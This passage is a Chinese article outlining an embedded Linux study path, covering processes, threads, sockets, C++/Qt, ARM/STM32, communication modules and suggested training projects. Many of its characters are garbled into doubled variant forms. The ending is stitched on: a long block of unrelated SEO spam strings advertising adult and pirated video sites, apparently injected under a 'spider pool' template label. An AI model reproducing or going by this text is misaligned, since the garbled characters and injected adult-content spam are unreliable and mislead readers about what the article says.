          這一階段主要學(xué)習(xí)上層的嵌入式Linux應(yīng)用程序開發(fā),包括基于Linux多進(jìn)程、多線程、文件與目錄。掌握進(jìn)程和線程編程思想才是打開技術(shù)學(xué)習(xí)的大門,不然永遠(yuǎn)是停留在語法、算法層面,無法深入解決眾多實(shí)際問題。


          1)Linux系統(tǒng)調(diào)用概念;


          2)文件I/O操作相關(guān)函數(shù)使用;


          3)進(jìn)程相關(guān)概念、及基本控制函數(shù);


          4)無名管道、命名管道、信號、消息隊(duì)列、共享內(nèi)存、信號量集合;


          5)多進(jìn)程、多線程實(shí)現(xiàn)多任務(wù)開發(fā);


          6)多任務(wù)的同步互斥開發(fā):互斥鎖、自旋鎖、讀寫鎖、信號量、條件變量;


          這一階段推薦書籍:《UNIX環(huán)境高級編程》《嵌入式Linux應(yīng)用程序開發(fā)詳解》


          C Linux高級網(wǎng)絡(luò)程序設(shè)計(jì)


          這一階段主要掌握網(wǎng)絡(luò)應(yīng)用的CS架構(gòu)編程方法,套接字編程接口及框架;同時掌握必要的數(shù)據(jù)庫操作及函數(shù),具備系統(tǒng)編程的綜合素質(zhì)。這一階段的主要內(nèi)容有:


          1)網(wǎng)絡(luò)相關(guān)概念及網(wǎng)絡(luò)發(fā)展


          2)socket編程、TCP網(wǎng)絡(luò)編程、UDP網(wǎng)絡(luò)編程、Web編程開發(fā)等


          3)Linux網(wǎng)絡(luò)應(yīng)用程序開發(fā),和并發(fā)CS服務(wù)器的實(shí)現(xiàn)


          4)熟悉UDP廣播、多播的原理及編程方法;


          5)網(wǎng)絡(luò)原始套接字概念及編程接口,及套接字屬性設(shè)置;


          6)HTTP協(xié)議及其實(shí)現(xiàn)方法;


          6)數(shù)據(jù)庫概念、數(shù)據(jù)庫類型、常見數(shù)據(jù)庫


          7)SQLite數(shù)據(jù)庫介紹及其安裝與移植


          這一階段推薦的書籍:《TCP-IP詳解卷》《UNIX環(huán)境高級編程》、《Unix網(wǎng)絡(luò)編程》


          D C++面向?qū)ο蟾呒壵Z言程序設(shè)計(jì)


          這個階段主要學(xué)習(xí)C++思想及項(xiàng)目框架相關(guān)知識,C++語言作為一門高級語言,其語法復(fù)雜度比較復(fù)雜,學(xué)好并不是件容易的事情。此外、其編程思想是其精華所在,融會貫通后有無招勝有招的特效。


          1)熟悉面向?qū)ο蟮恼Z言概述


          2)熟練掌握C++基本語法


          3)封裝、繼承、多繼承;


          4)多態(tài):虛函數(shù)、抽象類、模板;


          5)標(biāo)準(zhǔn)模板庫STL的使用及原理;


          6)UML建模及設(shè)計(jì)模式;


          7)各種網(wǎng)絡(luò)庫、數(shù)據(jù)庫、IO庫、線程庫的使用;


          8)Qt對C++的擴(kuò)展及使用;


          這一階段推薦書籍:《C++ Primer》《The Standard C Library》《大話設(shè)計(jì)模式》《Qt Creator快速入門》《Qt5開發(fā)及實(shí)例》


          E ARM結(jié)構(gòu)及驅(qū)動開發(fā)


          這階段主要了解芯片程序開發(fā)相關(guān)內(nèi)容,包含STM32開發(fā)、匯編指令、ARM處理器工作原理等底層編程內(nèi)容,學(xué)習(xí)這一階段有助于理解內(nèi)存、寄存器、系統(tǒng)、任務(wù)機(jī)制等底層概念,提高程序員的編程修養(yǎng),屬于點(diǎn)睛之筆。這階段的學(xué)習(xí)內(nèi)容包括:


          1)單片機(jī)基礎(chǔ)(匯編指令、時鐘、GPIO、定時器、中斷);


          2)A53開發(fā)板介紹、設(shè)備使用、交叉編譯


          3)Keil下匯編指令編寫;


          3)通信總線UART、IIC、SPI及傳感器模塊的使用;


          4)STM32開發(fā)流程;


          5)uCos微型系統(tǒng)移植及使用;


          6)Linux系統(tǒng)移植及使用;


          這個階段推薦書籍:《Linux內(nèi)核設(shè)計(jì)與實(shí)現(xiàn)》《Linux設(shè)備驅(qū)動程序》《Linux設(shè)備驅(qū)動開發(fā)詳解》


          F 常用通信模塊學(xué)習(xí)


          這個階段需要學(xué)習(xí)現(xiàn)有的工程模塊的使用及原理,涉及RFID、紅外、2.4G、Bluetooth、ZigBee、NB-IOT、Lora等。當(dāng)然不要求全部完全的掌握,起碼能達(dá)到會用的狀態(tài)。具體來說這個階段包含的內(nèi)容有:


          1)RFID工作原理,以及讀卡器原理與通信過程;


          2)紅外遙控的原理及使用;


          3)2.4G無線模塊的配對及使用;


          4)Bluetooth模塊通信原理及使用;


          5)TI的CC2530的基本應(yīng)用,Zibgee相關(guān)微控制處理芯片;


          6)NB-IOT基本概念及熟悉CoAP協(xié)議在中的應(yīng)用;


          7)Lora模塊的使用;


          8)掌握溫度、濕度、光照、PH值、二氧化碳等傳感器的工作原理及通信接口;


          這個階段沒有推薦技術(shù)書籍,但感興趣可以看一下傳感器技術(shù)相關(guān)的書籍通信原理相關(guān)書籍,或者一些官方的介紹手冊;


          03

          推薦嵌入式項(xiàng)目


          嵌入式技術(shù)關(guān)鍵在于理論和實(shí)踐的結(jié)合,要能夠?qū)W以致用,完成了以上的所有階段的知識點(diǎn)學(xué)習(xí)后,到底有沒有學(xué)會,會不會用,能不能應(yīng)用所學(xué)知識來解決實(shí)際開發(fā)中的問題,我們需要來完成一個綜合的嵌入式實(shí)訓(xùn)項(xiàng)目,例如:


          項(xiàng)目一:智能家居項(xiàng)目


          本項(xiàng)目實(shí)現(xiàn)設(shè)備的本地控制與遠(yuǎn)程控制,對開關(guān)量設(shè)備,能夠?qū)崿F(xiàn)信息采集類設(shè)備的控制如溫濕度,能夠?qū)崿F(xiàn)監(jiān)控類設(shè)備的控制如視頻監(jiān)控,安全系統(tǒng)如外人入侵能夠自動通過GPRS報(bào)警。項(xiàng)目涉及技術(shù)c語言、多任務(wù)開發(fā)、網(wǎng)絡(luò)socket開發(fā)、boa網(wǎng)絡(luò)服務(wù)器、CGI編程、html網(wǎng)頁設(shè)計(jì)等


          項(xiàng)目二:智能人臉識別項(xiàng)目


          本項(xiàng)目首先通過opencv庫的使用來實(shí)現(xiàn)人臉基本訓(xùn)練模型檢測、再深入學(xué)習(xí)通過人臉識別以及實(shí)時抓取圖像分析并識別,了解認(rèn)識opencv、dlib等開源工具


          項(xiàng)目三:RFID智能門禁項(xiàng)目


          本項(xiàng)目實(shí)現(xiàn)RFID卡識別,用戶信息注冊、修改、刪除、語音播報(bào)提示可按不同的查詢條件查詢,可實(shí)現(xiàn)考勤


          項(xiàng)目四:多媒體播放器項(xiàng)目


          實(shí)現(xiàn)帶有圖形界面的音樂播放、暫停、上一曲、下一曲、歌曲列表歌詞同步等播放器功能,涉及到的知識點(diǎn)有c語言、數(shù)據(jù)結(jié)構(gòu)鏈表、Linux多進(jìn)程、多線程、進(jìn)程間通信、同步互斥等


          項(xiàng)目五:智能手機(jī)設(shè)計(jì)項(xiàng)目


          本項(xiàng)目能夠?qū)崿F(xiàn)智能手機(jī)接打電話、來電顯示、收發(fā)中英文短信,查看短信、信號強(qiáng)度檢測、運(yùn)營商檢測。項(xiàng)目涉及到的技術(shù)GPRS AT指令集、Linux多進(jìn)程、多線程、進(jìn)程間通信、同步互斥、GUI圖形開發(fā)等


          項(xiàng)目六:智慧教室項(xiàng)目


          本項(xiàng)目可通過NB-IOT等標(biāo)準(zhǔn)物聯(lián)網(wǎng)通信協(xié)議是實(shí)現(xiàn)現(xiàn)代化資源統(tǒng)籌管理,基本功能是實(shí)現(xiàn)教室燈控、空調(diào)、通風(fēng)、窗簾、門禁、人流等實(shí)時遠(yuǎn)程監(jiān)控,以實(shí)現(xiàn)聯(lián)動、手動控制和數(shù)據(jù)采集分析


          這些項(xiàng)目都綜合應(yīng)用了嵌入式開發(fā)當(dāng)中的應(yīng)用,驅(qū)動和QT開發(fā)技術(shù)。


          以上就是我建議的比較系統(tǒng)的嵌入式學(xué)習(xí)路線。系統(tǒng)學(xué)習(xí)并能靈活應(yīng)用以上知識后,嵌入式基本上就算入門了,具備企業(yè)項(xiàng)目的嵌入式研發(fā)能力了,這時候去應(yīng)聘企業(yè)的嵌入式研發(fā)工程師崗位就不會有什么問題了。


          看到這里,你對嵌入式有沒有一些把握了呢?


          歡迎留言討論噢~


          參考鏈接:

          https://www.zhihu.com/question/454411605/answer/1834680462


          關(guān)注我們,一起學(xué)習(xí)更多IT知識!


          主站蜘蛛池模板: 国产一区二区三区在线免费观看| av无码免费一区二区三区| 国产成人无码一区二区三区| 视频一区二区在线观看| 亚洲AV日韩AV天堂一区二区三区 | 无码AV一区二区三区无码| 亚洲美女高清一区二区三区| 无码人妻aⅴ一区二区三区| 综合久久一区二区三区 | 国产一区二区精品久久91| 国产品无码一区二区三区在线| 日韩人妻无码一区二区三区| 无码日韩精品一区二区人妻| 亚洲AV成人精品日韩一区18p| 日韩精品电影一区亚洲| 中文字幕一区二区三区视频在线| 区三区激情福利综合中文字幕在线一区亚洲视频1 | 中文字幕在线看视频一区二区三区 | 国产一区二区三区在线视頻| 色天使亚洲综合一区二区| 无码国产精品久久一区免费| 亚洲av乱码一区二区三区| 亚洲日韩国产一区二区三区在线| 精品国产一区二区三区久久久狼| 99精品一区二区三区| 国模精品一区二区三区视频| 福利片福利一区二区三区| 无码精品人妻一区二区三区影院 | 国产乱码一区二区三区四| 精品国产日韩一区三区| 亚洲国产成人久久一区久久 | 国产一区二区免费| 老熟妇高潮一区二区三区| 国产91精品一区二区麻豆亚洲| 国产精品亚洲产品一区二区三区| 无码日韩精品一区二区三区免费| 日韩三级一区二区| 亚洲国产一区在线观看| 蜜桃传媒视频麻豆第一区| av在线亚洲欧洲日产一区二区| 一级毛片完整版免费播放一区|